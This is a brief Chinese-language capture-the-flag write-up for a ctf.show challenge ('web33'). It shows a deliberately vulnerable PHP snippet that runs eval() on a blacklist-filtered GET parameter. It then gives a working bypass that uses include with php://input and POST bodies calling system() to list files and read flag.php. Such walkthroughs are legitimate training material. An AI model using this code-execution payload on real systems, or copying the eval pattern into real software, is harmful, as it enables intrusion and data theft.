跳到主要内容

web33

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

除了空格以外,还拦截了以下字符

. ' ` ; ( " 

可以发现,相较于上一题,多了一个双引号,只需要改变GET传参的表达式即可

https://3d3a6884-5f1c-4caf-bf7f-f73983c25645.challenge.ctf.show/?c=include$_GET[1]?>&1=php://input

POST: <?php system("ls -lh"); ?>

img

那么剩下的就简单了

https://3d3a6884-5f1c-4caf-bf7f-f73983c25645.challenge.ctf.show/?c=include$_GET[1]?>&1=php://input

POST: <?php system("cat flag.php"); ?>

img